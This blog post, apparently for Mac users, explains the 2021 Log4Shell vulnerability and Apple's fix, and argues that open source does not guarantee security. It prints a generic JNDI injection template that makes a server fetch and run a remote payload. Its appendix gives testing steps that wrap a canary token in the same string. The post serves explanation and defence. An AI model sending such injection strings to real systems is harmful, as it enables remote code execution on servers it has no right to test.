Unless you administer Internet services, from a basic web app up to vast systems like Twitter and iCloud, you could be forgiven for not recognising the name Log4Shell. But last week that new zero-day vulnerability set most of the servers around the world alight. For inside many web services there’s a logging system known as Log4j or Java Log 4j, which could be exploited trivially from any browser.
All those services – including iCloud, Steam, Twitter, CloudFlare, Amazon, Tesla, Google, LinkedIn, and Minecraft – were wide open to malformed requests using the Java Naming and Directory Interface, or JNDI. Essentially, all the attacker has to do is send a request along the lines of
${jndi:ldap://[address]/[payload file]}
for the payload file to be executed in the context of the server’s Log4j logging system.
Unless you run services on your Mac which use Log4j for logging, and those are exposed to incoming Internet connections, this has no direct consequences to Mac users. Almost every external service that your Mac connects to, though, has had to undergo very fast patching, and smaller services may well continue using the vulnerable logging system for weeks before anyone realises there’s a problem. As these services are often embedded in other systems and services, it may be months before everything is properly patched.
As you’d both hope and expect, iCloud was fixed quickly. Although researchers were able to demonstrate the vulnerability when connecting to iCloud through the web on 9 and 10 December, by 11th that no longer worked. It also doesn’t appear to have affected macOS or other direct connections.
If you’re concerned that a service you operate or control is still vulnerable, the Appendix at the end of this article contains some tips and links.
No doubt there’ll be plenty of post mortem analyses written about this in due course. I offer two lessons which we all need to learn, whether we operate global network services or just a battered old Mac.
First is that open source is no protection from vulnerabilities. On many occasions, those writing comments here castigating Apple for vulnerabilities and other bugs have insisted that using open source rather than proprietary software is a solution. As both are written by fallible humans, that’s a false assumption. As it happens, this glaring vulnerability which is so trivial to exploit came to light in Minecraft.
It appears to be the result of a design error which no good commercial engineering team should have ever perpetrated. But they will continue doing so, whether their source code is open to public view, or closed and proprietary. Just because a few billion people could read that source code doesn’t mean that serious vulnerabilities such as this will be detected before they appear in released products.
The second lesson is that vulnerabilities in open source code are likely to have more widespread and devastating consequences, because they’re so widely used, particularly when in basic services such as logging. Apple’s Unified Log is closed source commercial code which has had its fair share of problems since it was introduced in Sierra. It’s totally different from Log4j, though, and one fact Mac users can rely on is that Apple’s Unified Log doesn’t suffer from Log4Shell.
Had a similar vulnerability existed in the Unified Log, then its impact would have been limited to Apple computers and devices, and probably then only to macOS which exposes the log to users. Because Log4j is open source and free to use, this vulnerability can extend to almost any hardware platform and operating system, in any product which uses Log4j as a convenient tool for logging.
As others have pointed out, there’s an ultimate irony too, in that Log4j is implemented in Java, a language whose second goal is to be “robust and secure”. While the security of a language and its implementations are laudable goals, they’re no guarantee that what we do with them is in the least bit robust or secure.
I wish all those developers and system administrators who now have to tackle the problems brought by Log4Shell success in the fortnight before Christmas. They will certainly have earned their holiday this year.
Appendix: For system administrators
The Apache Log4j Security Vulnerabilities page.
Florian Roth @cyb3rops has suggested the following for testing apps for the Log4Shell vulnerability:
- Generate a DNS token using htttp://canarytokens.org/generate#
- Wrap that token inside the prefix
${jndi:ldap://and suffix/a} - Use that in search forms, profile data, settings etc. in your apps.
- Get notified when you trigger a reaction.
Another useful site for generating tests is https://webhook.site
The Eclectic Light Company 